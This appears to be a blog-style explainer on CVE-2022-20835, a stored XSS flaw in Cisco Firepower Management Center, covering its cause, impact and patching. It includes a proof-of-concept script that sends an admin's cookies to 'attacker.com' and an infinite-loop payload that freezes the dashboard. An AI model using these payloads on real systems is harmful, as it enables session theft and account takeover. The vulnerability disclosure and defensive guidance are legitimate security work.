In July 2022, Cisco disclosed a set of critical vulnerabilities grouped under CVE-2022-20835 affecting the web-based management interface of Cisco Firepower Management Center (FMC) Software. These security holes allow remote attackers, with authentication, to conduct dangerous stored cross-site scripting (XSS) attacks against admin users. In this long read, let's break down how these bugs work, what the risks are, and how you can test for exploitation, all in plain, simple language.

What Is CVE-2022-20835?

The vulnerability is a stored XSS (Cross-Site Scripting) in the Cisco FMC web UI caused by insufficient server-side input validation. This lets an authenticated adversary inject malicious JavaScript code through several input fields.

Those XSS payloads get stored in the database and trigger whenever an admin or another user opens the affected part of the interface. This can compromise session tokens, sensitive information, or let attackers act as the victim user. Sometimes, the attack can also crash parts of the dashboard by breaking the JavaScript on the page.

Official advisory:  
- Cisco Security Advisory for CVE-2022-20835

Root Cause

Simply put, the FMC's web interface doesn’t correctly sanitize or validate inputs submitted through certain fields. This enables attackers to insert and store harmful JavaScript code, which will execute inside the browser of anyone who views the crafted content.

Attacker’s script runs in the victim’s browser.

If the attacker’s payload is designed to steal session tokens or perform admin actions, the result could be devastating: full account takeovers, downtime, or disclosure of sensitive data.

Here’s a basic proof-of-concept (PoC) for exploiting the vulnerability

Suppose you find a “Comment” field in the FMC’s device edit page.

Payload Example (XSS):

<script>
    fetch('https://attacker.com/steal?c='; + document.cookie);
</script>

Enter the above script as the comment and save.

- When an admin browses to the device page, the JavaScript will execute, sending the admin’s cookies to attacker.com.

Important: In real-life, an attacker could make the payload stealthier, obfuscating it or embedding in a harmless-looking field.

UI defacement: Attacker could modify how pages appear, or cause functionality loss.

- Denial-of-service: Malicious script could crash sections of the dashboard, temporarily affecting availability.

With session cookies, attackers can bypass passwords and get admin access.

2. Forced Action (CSRF via XSS)

A more advanced payload could be used to perform admin actions invisibly, like creating new users or changing firewall rules.

A payload could exploit weak JavaScript handling and cause dashboard modules to break

<script>while(true){};</script>

This simple code causes the browser tab to freeze whenever the field loads.

References

- Cisco Security Advisory cisco-sa-fmc-xss-KqMH34QY
- MITRE CVE-2022-20835 Record
- OWASP XSS Cheat Sheet

Upgrade: Cisco fixed this bug in the newer FMC software versions. Update ASAP!

- WAF or Proxy: Use Web Application Firewall rules to block basic XSS payloads in front of your FMC.
- Input validation: If you have custom scripts or plugins, always sanitize output sent to browsers.

Conclusion

CVE-2022-20835 is a classic example of why input validation matters. Any authenticated attacker can gain a dangerous level of access if these bugs are present. If you use Cisco FMC, patch now and consider reviewing your internal authentication and network exposure. Even if local, these vulnerabilities can quickly escalate into a catastrophic breach.

*Stay safe, stay updated!*

*Note: This post is an original, exclusive overview based on public details and responsible professional research. All information provided is for educational and defensive purposes only.*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/18/2022 18:14:00 UTC